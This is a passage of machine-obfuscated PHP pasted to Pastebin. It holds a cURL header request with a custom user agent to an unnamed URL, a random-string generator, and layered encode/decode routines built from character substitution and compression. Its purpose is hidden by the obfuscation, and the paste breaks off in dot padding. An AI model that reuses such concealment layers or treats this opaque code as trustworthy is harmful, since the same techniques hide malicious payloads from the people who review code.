  344. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_USERAGENT, 'cyberheader');
  345. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_CONNECTTIMEOUT, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18);
  346. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_TIMEOUT, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00);
  347. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_NOBODY, true);
  348. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_URL, $phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115);
  349. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_RETURNTRANSFER, true);
  350. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_HEADER, true);
  351. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = curl_exec($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78);
  352. curl_close($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78);
  353. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  354. }
  355. function phpshield_obfuscated_c46eaea7f4ac1506be135580951fb653($phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d)
  356. {
  357. if (empty($phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d)) {
  358. $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d = 10;
  359. }
  360. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  361. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength = strlen($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters);
  362. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd = '';
  363. for ($i = 0; $i < $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d; $i++) {
  364. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd .= $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters[rand(0, $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength - 1)];
  365. }
  366. return $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd;
  367. }
  368. function phpshield_obfuscated_65b02a9cc8ed83dfa496ae135238099f($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  369. {
  370. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  371. 'a',
  372. 'b',
  373. 'c',
  374. 'd',
  375. 'e',
  376. 'f',
  377. 'g',
  378. 'h',
  379. 'i',
  380. 'j'
  381. );
  382. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  383. '!',
  384. '@',
  385. '#',
  386. '$',
  387. '%',
  388. '^',
  389. '&',
  390. '*',
  391. '(',
  392. ')'
  393. );
  394. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  395. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  396. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  397. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  398. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  399. }
  400. function phpshield_obfuscated_26f62976120e29abc680a1f060bbbb82($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  401. {
  402. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  403. "!",
  404. "@",
  405. "#",
  406. "\$",
  407. "%",
  408. "^",
  409. "&",
  410. "*",
  411. "(",
  412. ")"
  413. );
  414. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  415. "a",
  416. "b",
  417. "c",
  418. "d",
  419. "e",
  420. "f",
  421. "g",
  422. "h",
  423. "i",
  424. "j"
  425. );
  426. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  427. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  428. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  429. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  430. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  431. }
  432. function phpshield_obfuscated_8df65f4fb98d204b911c10a6e10821ce($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  433. {
  434. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  435. 'a',
  436. 'b',
  437. 'c',
  438. 'd',
  439. 'e',
  440. 'f',
  441. 'g',
  442. 'h',
  443. 'i',
  444. 'j'
  445. );
  446. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  447. '!!',
  448. '$@',
  449. '#$',
  450. '@$',
  451. '*%',
  452. '^*',
  453. '((&',
  454. '*))',
  455. '(#',
  456. '@)'
  457. );
  458. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  459. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  460. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  461. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  462. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  463. }
  464. function phpshield_obfuscated_5cabcf49ee01c541a17dce476161bb43($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  465. {
  466. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  467. '!!',
  468. '$@',
  469. '#$',
  470. '@$',
  471. '*%',
  472. '^*',
  473. '((&',
  474. '*))',
  475. '(#',
  476. '@)'
  477. );
  478. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  479. 'a',
  480. 'b',
  481. 'c',
  482. 'd',
  483. 'e',
  484. 'f',
  485. 'g',
  486. 'h',
  487. 'i',
  488. 'j'
  489. );
  490. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  491. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  492. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  493. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  494. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  495. }
  496. function phpshield_obfuscated_a2e8c0024283a990a7f4b61e44a0aa90($phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04)
  497. {
  498. if (empty($phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04)) {
  499. ......................................................................................
  500. ................................................
  501. .....................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!